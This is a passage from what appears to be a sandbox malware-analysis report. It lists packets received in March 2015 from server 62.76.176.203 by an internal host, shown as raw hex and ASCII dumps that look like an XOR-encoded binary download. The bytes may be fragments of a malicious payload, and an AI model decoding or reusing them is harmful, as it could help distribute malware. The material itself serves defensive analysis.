4e 11 17 13 4d 36 2a 0e 2b 2d 13 3d 1d 09 13 4c 4e 0f 0e 34 4a 40 1d 0d 20 49 02 0e 2a 28 09 48 39 09 02 48 16 14 1d 00 17 3a 36 16 3a 2a 00 10 15 2a 2a 37 2a 49 20 1e 17 3b 3e 10 09 1d 12 15 1e 14 2c 3a 41 2d 57 16 17 32 2c 30 35 13 01 14 3d 40 3e 00 09 39 19 30 0f 2b 4b 00 0e 00 15 41 2c 1b 3d 17 4e 4a 0d 33 3e 30 34 1c 37
Data Ascii: DFDFS.KLN4J,0,!SL"*3:OA+M@;M4:IN:!)1I7H*O>:O4)39(<.L9L,?J ?;4L.1W-WL3*W7471@HLO?+4>)MA+6(64J="<31"*31.J../?;/-> L!!*)N4W-3O9@:5NM6*+-=LN4J@ I*(H9H:6:***7*I ;>,:A-W2,05=@>90+KA,=NJ3>047
99
Mrz 4, 2015 14:54:11.159825087 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 1e 16 19 4a 28 3a 0f 2c 29 15 09 08 2e 09 1f 45 45 44 57 16 17 1c 1d 0b 46 44 15 17 1c 0d 14 1d 58 16 19 15 1d 45 5a 1a 17 0c 5a 58 1a 11 0c 45 5a 4b 4a 5a 46 16 20 22 4a 00 39 20 4e 2c 2b 0d 53 22 34 33 09 22 33 57 4d 22 2a 1e 0e 48 1d 57 21
Data Ascii: 2J(:,).EEDWFDXEZZXEZKJZF "J9 N,+S"43"3WM"*HW! 07@S07LJIW"O:J?))IMN-@WI0S9@(17.7 A@2*3.L;A".0/"L@*9WJ-M"6LI>7/??6H,J,,17O@6/9999999)999<WW
100
Mrz 4, 2015 14:54:11.159846067 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
102
Mrz 4, 2015 14:54:11.160021067 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
102
Mrz 4, 2015 14:54:11.210236073 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
102
Mrz 4, 2015 14:54:11.410511017 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
103
Mrz 4, 2015 14:54:11.741297007 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
103
Mrz 4, 2015 14:54:11.752512932 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
105
Mrz 4, 2015 14:54:11.752660036 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
Data Ascii: 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999991>9?!;:)9!9-9691>97;:)<-9-991>90L;:);79-9,1>999999:H99-9999992=:);:9-9(=91=:);W)9@=9?:9;3@9)99=93
106
Mrz 4, 2015 14:54:11.752665043 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 3a 39 39 01 40 39 29 39 33 28 39 3d 39 3a 4f 0f 3a 39 39 2b 40 39 29 39 3b 28 39 3d 39 28 02 0e 3a 39 3c 01 4f 0f 29 39 4e 37 40 3d 39 36 4f 0e 3a 39 3c 2f 4f 0f 29 39 02 37 40 3d 39 35 3c 0e 3a 39 3b 1f 4f 0f 29 39 39 39 39 39 39 32 1f 39 3a
Data Ascii: :99@9)93(9=9:O:99+@9)9;(9=9(:9<O)9N7@=96O:9</O)97@=95<:9;O)99999929:)9999995>91)<:);9-9,5>95<:)<9-9?5>9<<:);H9-9:95>999999::9-9(9)>9;=:)9+:9-9W5>9>=:)999999999999999999999999999(A.)999999)999;!999;@>999:)9999999
107
Mrz 4, 2015 14:54:11.753056049 MEZ80103262.76.176.203192.168.1.10Data Raw: 4d 39 39 39 39 39 31 0c 2e 4d 31 08 1c 00 4c 1f 19 11 49 20 13 33 48 4b 17 1f 1b 31 3a 39 39 39 39 11 2e 20 13 11 2d 4b 17 11 16 4b 1e 35 35 1d 31 1e 1c 53 34 2c 1b 01 32 2c 1d 11 34 2c 1c 11 34 2e 1a 0f 3a 48 21 14 36 4a 37 0d 1a 0d 39 39 39 39
Data Ascii: M999991.M1LI 3HK1:9999. -KK551S4,2,4,4.:H!6J799999;4,*:@)9999;2,4,2*21(=(>M 6"!<S=999999<3-997;)99N,99<;997/99N.2599<:1997999N.(99<>997/)99N !O99<K997?>99N,LJ99<?
109
Mrz 4, 2015 14:54:11.753062010 MEZ80103262.76.176.203192.168.1.10Data Raw: 53 0b 29 3b 33 2e 1c 53 39 0f 0d 31 13 39 21 10 3e 49 01 08 36 4b 4c 10 36 4b 4c 10 2e 4b 53 0b 19 12 2d 20 1e 11 13 4a 57 1f 37 3d 3a 11 3d 4b 20 11 49 20 21 11 4b 20 21 11 20 20 1f 31 1b 33 32 2e 1c 11 4c 39 39 39 39 39 31 08 36 49 01 0c 3e 4a
Data Ascii: S);3.S919!>I6KL6KL.KS- JW7=:=K I !K ! 132.L9999916I>J1>J1<9)SJ!(=7>M/IK<<@9.!.(=1>;5>@==999<?*L)HK= <OM.OL0;!)999;3"/<O?@)) K<"""L(0L)999999>/2M.6 .(1>>16=1.<1I;5">;3 S4:M9999
110
Mrz 4, 2015 14:54:11.753074884 MEZ80103262.76.176.203192.168.1.10Data Raw: 32 10 19 3c 4e 57 57 53 10 0d 3a 39 39 31 31 15 3e 16 28 0a 57 57 4e 3f 40 3d 39 39 1f 11 21 2f 21 53 0e 57 57 17 1b 39 29 39 3b 3b 32 10 22 2c 4e 57 57 53 10 00 3a 39 39 31 31 15 3e 13 28 0a 57 57 4c 48
Data Ascii: 2<NWWS:9911>(WWN?@=99!/!SWW9)9;;2",NWWS:9911>(WWLH
110
Mrz 4, 2015 14:54:11.789369106 MEZ80103262.76.176.203192.168.1.10Data Raw: 3e 02 31 39 39 31 31 15 3e 12 28 0a 57 57 4e 30 35 3d 39 39 1f 11 21 2f 31 53 0e 57 57 12 29 2f 01 1e 0f 39 1f 11 21 2f 3d 53 0e 57 57 17 2a 39 17 3a 2b 3b 32 10 21 3c 4e 57 57 53 10 48 3a 39 39 31 31 15 3e 1e 28 0a 57 57 4e 30 2d 3d 39 39 1f 11
Data Ascii: >19911>(WWN05=99!/1SWW)/9!/=SWW*9:+;2!<NWWSH:9911>(WWN0-=99!.LSWW)/?99!.HSWW*):+;2 <NWWSJ:9911>(WWN0=99!.SWW/9,9;;2/,NWWSL:9911>!(WWN=!39-!.SWW)/L9!.!SWW))9;;2.,NWWS6:;>9;;2.<NWWSN:
112
Mrz 4, 2015 14:54:11.789376020 MEZ80103262.76.176.203192.168.1.10Data Raw: 4d 57 57 53 10 4b 3a 3d 39 31 31 15 3e 3a 28 16 57 57 4c 48 3e 4b 30 40 39 31 31 15 3e 39 28 16 57 57 4e 30 1f 3d 29 39 1f 11 21 20 40 53 28 57 57 17 1d 29 2a 39 3b 3b 32 10 1e 12 4c 57 57 53 10 4e 3a 3d 39 31 31 15 3e 41 28 12 57 57 4e 3d 13 33
Data Ascii: MWWSK:=911>:(WWLH>K0@911>9(WWN0=)9! @S(WW)*9;;2LWWSN:=911>A(WWN=39-! S(WW*9;;2LWWS@:=911>N(WWN0H=)9! S(WW*9;;2<LWWSW:=911>K(WWLH>L@911>J(WWN=9=9! -S(WW))+9;;2<LWWS6:)?9;;2LWWS;:1911>(WWN
113
Mrz 4, 2015 14:54:11.789496899 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 3d 1f 39 1f 11 21 2f 39 41 57 57 57 17 1e 39 2b 39 3b 3b 32 10 20 02 4b 57 57 53 10 41 3a 31 39 31 31 15 3e 1d 28 1e 57 57 4e 30 4c 3d 1f 39 1f 11 21 2e 48 41 57 57 57 17 1e 0f 2b 39 3b 3b 32 10 20 3c 4b 57 57 53 10 39 3a 35 39 31 31 15 3e 1a
Data Ascii: =9!/9AWWW9+9;;2 KWWSA:1911>(WWN0L=9!.HAWWW+9;;2 <KWWS9:5911>(WWLH>21!911>(WWN===9!.AWWW)/@99!.AWWW+:+;2.KWWS6:3=9;;2.KWWS6:=9;;2.,KWWS;:5911>-(WWN=5=9!.5AWWW*9,9;;2-KWWS:5911>*(WWN=-=
114
Mrz 4, 2015 14:54:11.789645910 MEZ80103262.76.176.203192.168.1.10Data Raw: 31 15 3e 37 28 1e 57 57 4e 3d 1f 3d 0f 39 1f 11 21 2d 48 41 57 57 57 17 2b 29 2c 39 3b 3b 32 10 2c 3c 4b 57 57 53 36 3a 2b 09 3f 39 3b 3b 32 10 2b 02 4b 57 57 53 36 3a 2c 3b 3f 39 3b 3b 32 10 2b 12 4b 57 57 53 36 3a 2f 19 3f 39 3b 3b 32 10 2b 2c
Data Ascii: 1>7(WWN==9!-HAWWW+),9;;2,<KWWS6:+?9;;2+KWWS6:,;?9;;2+KWWS6:/?9;;2+,KWWS6:N=9;;2+<KWWS6:/?9;;2*KWWS2:)911>?(WWLH>S@911>>(WWLH>I1)911>=(WWLH>A1-911><(WWN==9!-1AWWW+,9;<?+WOWWA+">*WWM-/<W(WW"0@WW@
114
Mrz 4, 2015 14:54:11.789920092 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 11 21 2d 2d 57 28 57 57 57 4d 48 2d 57 28 57 57 11 4c 2d 17 41 57 57 57 11 21 2f 2d 53 57 57 57 57 4d 4a 2d 53 57 57 57 11 4c 2d 0b 41 57 57 57 11 21 2f 31 57 0e 57 57 57 4d 4a 31 57 0e 57 57 11 4c 2d 0f 41 57 57 57 11 21 2e 13 53 57 57 57 57
Data Ascii: W!--W(WWWMH-W(WWL-AWWW!/-SWWWWMJ-SWWWL-AWWW!/1WWWWMJ1WWWL-AWWW!.SWWWWMISWWWL-HAWWW!.SWWWWMISWWWL-LAWWW!.SWWWWMISWWWL-@AWWW!.SWWWWMISWWWL.9AWWW!.HSWWWWMIHSWWWL.=AWWW!.LSWWWWMILSWWWL.1AWWW!.@SWWW">4/WMI@SWWWL
116
Mrz 4, 2015 14:54:11.790041924 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 00 48 2f 13 39 39 39 39 39 31 0d 3e 3d 28 12 57 57 4c 15 3e 2b 28 02 57 57 57 53 1c 2b 28 02 57 57 4c 0d 3e 3e 28 12 57 57 4c 15 3e 2c 28 02 57 57 57 53 1c 2c 28 02 57 57 4c 0d 3e 3f 28 12 57 57 4c 15 3e 2d 28 02 57 57 57 53 1c 2d 28 02 57 57
Data Ascii: WH/999991>=(WWL>+(WWWS+(WWL>>(WWL>,(WWWS,(WWL>?(WWL>-(WWWS-(WWL>0(WWL>.(WWWS.(WWL>1(WWL>/(WWWS/(WWL>2(WWL> (WWWS (WWL>3(WWL>(WWWS(WWL>4(WWL>"(WWWS"(WWL>5(WWL>(WW@>99999<W/@WWS4,,LWW
117
Mrz 4, 2015 14:54:11.812249899 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 16 1a 12 40 57 57 53 34 10 21 3c 4c 57 57 53 32 10 1a 02 40 57 57 57 57 16 1a 02 40 57 57 53 34 10 21 2c 4c 57 57 53 32 10 2b 12 53 57 57 57 57 16 2b 12 53 57 57 53 34 10 21 12 4c 57 57 53 32 10 1b 2c 40 57 57 57 57 16 1b 2c 40 57 57 53 34 10
Data Ascii: W@WWS4!<LWWS2@WWWW@WWS4!,LWWS2+SWWWW+SWWS4!LWWS2,@WWWW,@WWS4!LWWS2@WWWW@WWS4"<LWWS2+@WWWW+@WWS4",LWWS2<@WWWW<@WWS4"LWWS2,@WWWW,@WWS4"LWWS2@WWWW@WWS4<LWWS2@WWWW@WWS4*OWWS2OWWWW
118
Mrz 4, 2015 14:54:11.812257051 MEZ80103262.76.176.203192.168.1.10Data Raw: 3e 21 28 16 57 57 4c 15 3e 0d 28 4b 57 57 57 53 1c 0d 28 4b 57 57 4c 0d 3e 22 28 16 57 57 4c 15 3e 0e 28 4b 57 57 57 53 1c 0e 28 4b 57 57 4c 0d 3e 19 28 16 57 57 4c 15 3e 0f 28 4b 57 57 57 53 1c 0f 28 4b 57 57 4c 0d 3e 1a 28 16 57 57 4c 15 3e 00
Data Ascii: >!(WWL>(KWWWS(KWWL>"(WWL>(KWWWS(KWWL>(WWL>(KWWWS(KWWL>(WWL>(KWWWS(KWWL>(WWL>(KWWWS(KWWL>(WWL>(KWWWS(KWW@>99999;4 MWWS2<AWWWW<AWWS4 MWWS2,AWWWW,AWWS4!<MWWS2AWWWWAWWS4!,MWWS2AWWWW
120
Mrz 4, 2015 14:54:11.812381029 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 53 0e 57 57 11 21 2f 13 57 0e 57 57 57 4d 4a 13 57 0e 57 57 11 4c 2e 29 53 0e 57 57 11 21 2f 17 57 0e 57 57 57 4d 4a 17 57 0e 57 57 11 4c 2e 2d 53 0e 57 57 11 21 2f 0b 57 0e 57 57 57 4d 4a 0b 57 0e 57 57 11 4c 2e 21 53 0e 57 57 11 21 2f 0f 57
Data Ascii: 5SWW!/WWWWMJWWWL.)SWW!/WWWWMJWWWL.-SWW!/WWWWMJWWWL.!SWW!/WWWWMJWWWL.SWW!/HWWWWMJHWWWL.SWW!.LW(WWWMILW(WWL.SWW!/@WWWWMJ@WWWL.SWW! 9WWWWMK9WWWL.SWW! =WWWWMK=WWWL.SWW! 1WWWWMK1WWWL.HS
120
Mrz 4, 2015 14:54:11.840255976 MEZ80103262.76.176.203192.168.1.10Data Raw: 0e 57 57 11 21 2d 3d 57 57 57 57 57 4d 48 3d 57 57 57 57 11 4c 2f 0b 53 0e 57 57 11 21 2d 31 57 57 57 57 57 4d 48 31 57 57 57 57 11 4c 2f 0f 53 0e 57 57 11 21 2d 35 57 57 57 57 57 4d 48 35 57 57 57 57 11 4c 2f 48 53 0e 57 57 11 21 2d 29 57 57 57
Data Ascii: WW!-=WWWWWMH=WWWWL/SWW!-1WWWWWMH1WWWWL/SWW!-5WWWWWMH5WWWWL/HSWW!-)WWWWWMH)WWWWL/LSWW!.WWWWMIWWWL/@SWW! @W(WW ,SW(WWL>(WWL>(OWWWS(OWWL>(WWL>1(WWWWS1(WWWL>(WWL>2(WWWWS2(WWWL>(WWL>3(WWWWS3(WWWL>
121
Mrz 4, 2015 14:54:11.841260910 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 1f 57 49 4b 1f 11 4c 20 40 53 0e 57 57 11 21 2f 1f 57 0e 57 57 57 4d 4a 1f 57 0e 57 57 11 4c 2d 39 53 57 57 57 11 21 2e 1b 57 57 57 57 57 4d 49 1b 57 57 57 57 11 4c 2d 3d 53 57 57 57 11 21 2e 1f 57 57 57 57 57 4d 49 1f 57 57 57 57 11 4c 2d 31
Data Ascii: WIKL @SWW!/WWWWMJWWWL-9SWWW!.WWWWWMIWWWWL-=SWWW!.WWWWWMIWWWWL-1SWWW!.WWWWWMIWWWWL-5SWWW!.WWWWWMIWWWWL-)SWWW!.WWWWWMIWWWWL--SWWW!.HWWWWWMIHWWWW L>?(WWL>(WWWWS(WWWL>0(WWL>(WWWWS(WWWL>1(WWL>(A
122
Mrz 4, 2015 14:54:11.841268063 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 13 11 2d 0f 13 3a 31 0d 3e 1a 28 57 57 57 4c 14 3d 32 39 12 17 53 1f 39 39 39 31 15 3e 2f 28 57 57 57 4f 1f 39 39 39 39 39 33 48 2f 13 11 2d 2f 13 22 17 0c 36 4b 15 19 3a 0f 22 1f 0d 11 48 20 29 22 17 14 36 4b 17 0d 2e 22 28 57 57 57 02 16 29
Data Ascii: )-:1>(WWWL=29S9991>/(WWWO999993H/-/"6K:"H )"6K."(WWW)6*6,M99".KI1A1O1>.(WWWL>H16-(WWWL6(WWW01".K6I1.-(WWWMI-WWWW12,+26;+2;)=-);1.,(WWWS9999- 5L.5WWWW- HK)M.WWWW1?2,
124
Mrz 4, 2015 14:54:11.841409922 MEZ80103262.76.176.203192.168.1.10Data Raw: 12 40 57 57 57 30 10 2b 02 40 57 57 40 2e 39 39 39 39 11 21 20 48 53 0e 57 57 11 4c 2d 0b 57 28 57 57 00 4c 2d 1f 57 28 57 57 48 2e 4a 3d 10 21 15 3e 40 28 0a 57 57 4c 0d 3e 31 28 02 57 57 40 1d 3e 36 28 02 57 57 57 57 57 57 57 53 32 10 1d 02 4e
Data Ascii: @WWW0+@WW@.9999! HSWWL-W(WWL-W(WWH.J=!>@(WWL>1(WW@>6(WWWWWWWS2NWWS4,,@WWW0<SWW@(9999! SWWL WWWL.LWWW,WL>M(WWL>(KWW@>(WWWWWWWS2<NWWS4,OWWW0-,@WW@/9999! SWWL.=W(WWL SWWW;9991>J(WWL>K(WW@>-
125
Mrz 4, 2015 14:54:11.841478109 MEZ80103262.76.176.203192.168.1.10Data Raw: 53 57 57 57 00 4c 2f 39 57 28 57 57 3c 0f 39 39 39 31 15 3e 0a 28 0a 57 57 4c 0d 3e 1f 28 02 57 57 40 1d 3e 41 28 0e 57 57 4e 1b 12 14 33 0d 32 10 19 12 4e 57 57 53 34 10 1e 2c 4f 57 57 57 30 10 2e 3c 53 57 57 40 39 39 39 39 39 00 17 2d 4d 57 1e
Data Ascii: SWWWL/9W(WW<9991>(WWL>(WW@>A(WWN32NWWS4,OWWW0.<SWW@99999-MWWW4>(WWWWWWWS2,NWWS4"@WWW0*,@WW@/9999!/SWWL--W(WWL WWW999995>(WW999;2"NWWS4 OWWW0"@WW@99999L.WWWWW@)L>(WWL>(WWW@>(WWWWWWWS
126
Mrz 4, 2015 14:54:11.841485977 MEZ80103262.76.176.203192.168.1.10Data Raw: 10 20 12 57 57 57 57 3f 10 2f 57 41 57 57 41 02 00 4c 2e 0f 57 1e 57 57 39 39 39 39 39 35 1d 3e 1f 28 4b 57 57 0f 13 39 39 39 3b 32 10 29 12 4e 57 57 53 34 10 21 3c 41 57 57 57 3f 10 29 57 41 57 57 53 08 00 17 2e 57 57 1e 57 57 48 1b 1d 3e 4c 28
Data Ascii: WWWW?/WAWWAL.WWW999995>(KWW999;2)NWWS4!<AWWW?)WAWWS.WWWWH>L(KWW999;2),NWWS4<AWWW0<AWW@577 A!-9SWWL 9WWWL/1WWW999995>O:9999;2MWWS4*0",AWW@)9999! LSWWL/-WWWL/!WWW1?!>A(WWL>(KWW@>O(KWW-999;
128
Mrz 4, 2015 14:54:11.841568947 MEZ80103262.76.176.203192.168.1.10Data Raw: 39 31 15 3e 2f 28 16 57 57 4c 0d 3e 20 28 4f 57 57 40 1d 3e 35 28 4f 57 57 4e 0a 30 0c 0d 15 32 10 2e 2c 4d 57 57 53 34 10 2c 3c 53 57 57 57 30 10 2d 3c 53 57 57 40 2b 39 39 39 39 11 21 2e 29 53 1e 57 57 11 4c 2e 39 57 0e 57 57 00 4c 2e 17 57 0e
Data Ascii: 91>/(WWL> (OWW@>5(OWWN02.,MWWS4,<SWWW0-<SWW@+9999!.)SWWL.9WWWL.WWW<9991>,(WWL>(OWW@>"(KWWI> 2-MWWS4/,AWWW0 <SWW@ 9999!.=SWWL.WWWL.WWWW;)9991>)(WWL>!(WWW@>WOWWM0 SWWA9H<9!-@SWWL.@WWW-KWWWO@
128
Mrz 4, 2015 14:54:11.850543976 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 57 57 40 1d 3e 0b 28 4f 57 57 0f 39 39 39 39 3c 30 10 1a 02 53 57 57 53 2c 1b 22 12 41 11 21 2d 29 53 1e 57 57 11 4c 2f 40 57 0e 57 57 00 4c 2e 35 57 28 57 57 3f 29 39 39 39 31 15 3e 3c 28 16 57 57 4c 0d 3e 2c 28 02 57 57 40 1d 3e 00 28 4f 57
Data Ascii: WW@>(OWW9999<0SWWS,"A!-)SWWL/@WWWL.5W(WW?)9991><(WWL>,(WW@>(OWW9999<0OWW@09999!-1SWWL !SWWWL )WWW1?)L>:(WWL>H(OWW@>L(WW9999<0SWW@39999!-9SWWL !WWWL/)SWWW999995>=(WWWOO 12LWWS4*<WWWW0)@WW@99
130
Mrz 4, 2015 14:54:11.850651979 MEZ80103262.76.176.203192.168.1.10Data Raw: 12 57 57 4c 15 49 1d 28 12 57 57 4c 4a 3e 4c 28 4f 57 57 4c 0c 36 0e 31 14 36 48 31 0c 36 0f 31 14 36 10 31 0d 36 14 28 4f 57 57 4c 14 36 4a 31 0c 36 01 31 15 36 1b 28 0e 57 57 4c 0c 36 01 31
Data Ascii: WWLI(WWLJ>L(OWWL616H161616(OWWL6J1616(WWL61
130
Mrz 4, 2015 14:54:11.852008104 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 2e 0f 31 0d 49 14 28 4f 57 57 02 36 49 01 3b 30 01 35 1c 3f 34 14 2b 02 41 57 57 40 3c 3b 17 0d 2e 10 28 12 57 57 0f 30 2a 11 4b 2f 40 39 1b 4e 32 1c 1a 01 34 2c 1a 01 34 0c 21 12 4c 57 57 53 32 12 20 2c 4c 57 57 53 32 40 21 0d 41 1c 28 12 57
Data Ascii: .1I(OWW6I;05?4+AWW@<;.(WW0*K/@9N24,4!LWWS2 ,LWWS2@!A(WWA(IJ@LJ5S(WWHS2KLA1A190O.J@OJ-WWWIJ@HK95LJ-WWW1KL64(KWW6M:16(WW0(IK192 44",LWWW,ML16(WWA(;S244 :SL1A1
131
Mrz 4, 2015 14:54:11.852014065 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 1c 0f 39 30 2c 11 2e 4b 39 11 49 20 31 11 49 4b 39 11 4c 4a 2d 57 0e 57 57 35 48 4b 31 31 1b 0b 00 4a 17 0d 36 34 28 4b 57 57 0f 36 2a 35 31 0d 36 39 28 16 57 57 0f 30 33 11 49 4a 40 39 1c 37 32 20 1a 01 34 2e 1a 01 34 12 29 2c 4d 57 57 57 2c
Data Ascii: 90,.K9I 1IK9LJ-WWW5HK11J64(KWW6*5169(WW03IJ@972 4.4),MWWW,L16;(WWA(;2.4.;4 :HL1.(OWWL16<76(OWW0454+AWW@<-,+4)MWW@:90,.K1I 1LH)SWWHS34 4*,MWWW,N. 1I/@IK1972 4.;4 4,
133
Mrz 4, 2015 14:54:11.852127075 MEZ80103262.76.176.203192.168.1.10Data Raw: 0c 1c 01 31 0c 3e 0f 3c 37 3e 14 28 4f 57 57 01 30 3c 35 1c 09 34 10 2b 02 41 57 57 40 3c 2d 3b 2b 34 10 21 02 4d 57 57 40 3a 0f 17 0c 1c 0e 39 30 2c 11 2e 4a 40 11 49 2f 40 0f 1d 31 3e 11 49 4a 40 11 4c 4a 29 53 1e 57 57 48 53 0b 32 4a 17 14 2e
Data Ascii: 1><7>(OWW0<54+AWW@<-;+4!MWW@:90,.J@I/@1>IJ@LJ)SWWHS2J.1.190,.J@I 9MJ-WWWH/@5H 915J>4(KWW6)71>(WW0;IK1972 4.4"MWWW,L16(WWA(;2.4.4 :HL1.11><6>;0<54+AWW@<-94
133
Mrz 4, 2015 14:54:11.852201939 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 4d 57 57 40 3a 0f 17 0d 1c 14 28 4f 57 57 0f 30 2c 11 22 4a 2d 57 0e 57 57 11 4d 2f 2d 57 0e 57 57 11 4c 4a 13 53 1e 57 57 48 53 33 34 16 22 2c 53 57 57 53 34 12 19 12 4d 57 57 57 2c 4e 0f 16 19 11 22 2f 2d 57 0e 57 57 11 49 20 31 11 4d 4a 2d
Data Ascii: <MWW@:(OWW0,"J-WWWM/-WWWLJSWWHS34",SWWS4MWWW,N"/-WWWI 1MJ-WWW972",SWWS4.4 4",SWW@*0L-WWW9I9L/SWW934 9:HL1.16(WWA(IK95;2.;4",SWWS4 9:HL1.(OWWL1><7>(OWW0<54+AWW@<-
135
Mrz 4, 2015 14:54:11.852297068 MEZ80103262.76.176.203192.168.1.10Data Raw: 30 3a 11 21 4a 2d 57 0e 57 57 11 4c 2f 2d 57 0e 57 57 11 48 4b 31 35 48 4a 40 35 1b 11 34 12 2b 02 41 57 57 40 3c 29 2b 11 34 12 2b 3c 4e 57 57 40 3a 01 31 0c 36 0f 39 30 3a 11 2d 4b 39 11 48 20 39 11 4c 48 13 53 0e 57 57 48 53 3b 34 2c 1b 3b 34
Data Ascii: 0:!J-WWWL/-WWWHK15HJ@54+AWW@<)+4+<NWW@:1690:-K9H 9LHSWWHS;4,;4+NWWS2.<LWWS2H!.-(WWA(;;2*;4",SWWS4.9:.1><7>(OWW6>1.4(KWW6;61.4(WW0)HJ@9?2,4*4,<NWWW,L161.6(W
135
Mrz 4, 2015 14:54:11.889182091 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 4c 15 36 2c 28 12 57 57 4c 16 2a 11 4d 2e 35 53 28 57 57 48 53 17 32 48 31 14 3e 0e 31 0c 3e 0f 31 0c 2e 0e 39 30 3b 11 2e 2f 40 11 48 2f 40 11 49 20 39 22 0b 1d 3e 09 0e 4f 57 57 00 21 0f 35 4d 2f 2d 57 0e 57 57 35 1c 3b 34 14 2b 02 41 57 57
Data Ascii: WL6,(WWL*M.5S(WWHS2H1>1>1.90;./@H/@I 9">OWW!5M/-WWW5;4+AWW@<9.7(WW0)HK19?2,4*4,NWWW,L1650>)1- 1H/@HK19?2,4***;4+AWW@<))4-<NWW@:16(OWW0:!J-WWWL/-WWWLI=SWWHS;4",SWWS4-NWWS2-
136
Mrz 4, 2015 14:54:11.903960943 MEZ80103262.76.176.203192.168.1.10Data Raw: 2f 40 11 48 20 39 11 49 2f 40 39 1b 33 32 2e 1a 01 34 2a 1a 01 34 2e 1b 39 02 14 22 2c 53 57 57 40 00 48 31 0d 2e 34 28 4b 57 57 0f 36 3b 35 31 0d 2e 21 28 0a 57 57 0f 30 29 11 48 4b 31 39 1b 3f 32 2c 1b 11 34 2a 1b 11 34 12 2f 2c 4e 57 57 57 2c
Data Ascii: /@H 9I/@932.4*4.9",SWW@H1.4(KWW6;51.!(WW0)HK19?2,4*4/,NWWW,L161.(WWL6)(WWL*M.9S(WWHS2H1>1>1.90;. 1H 15H/@5H 9M-WWW9H1@:@S4",SWW@:.(OWWL>(OWWL6(WWA(M/-WWWLISWWHS2H1>(OWWL>1.
137
Mrz 4, 2015 14:54:11.904102087 MEZ80103262.76.176.203192.168.1.10Data Raw: 30 3b 11 2e 2f 40 11 48 20 39 11 49 2f 40 11 4c 4a 2d 57 0e 57 57 11 4f 2d 3d 53 57 57 57 35 1e 3d 32 01 12 30 29 11 4c 48 0b 57 1e 57 57 39 48 3d 40 11 4c 48 31 53 57 57 57 39 1b 11 34 2e 1b 1f 3a 0f 17 14 2e 01 31 0c 3e 01 31 0d 36 3c 28 0e 57
Data Ascii: 0;./@H 9I/@LJ-WWWO-=SWWW5=20)LHWWW9H=@LH1SWWW94.:.1>16<(WWA(I 1LH)SWWWHS2H1>1>1.90;. 1H/@I 1HK9O--SWWW5=20)LHWWW9H=!LH!SWWW94",SWW@:.(OWWL>(OWWL60(WWA(M/-WWWLHSWWWHS2H1>(OWWL>
138
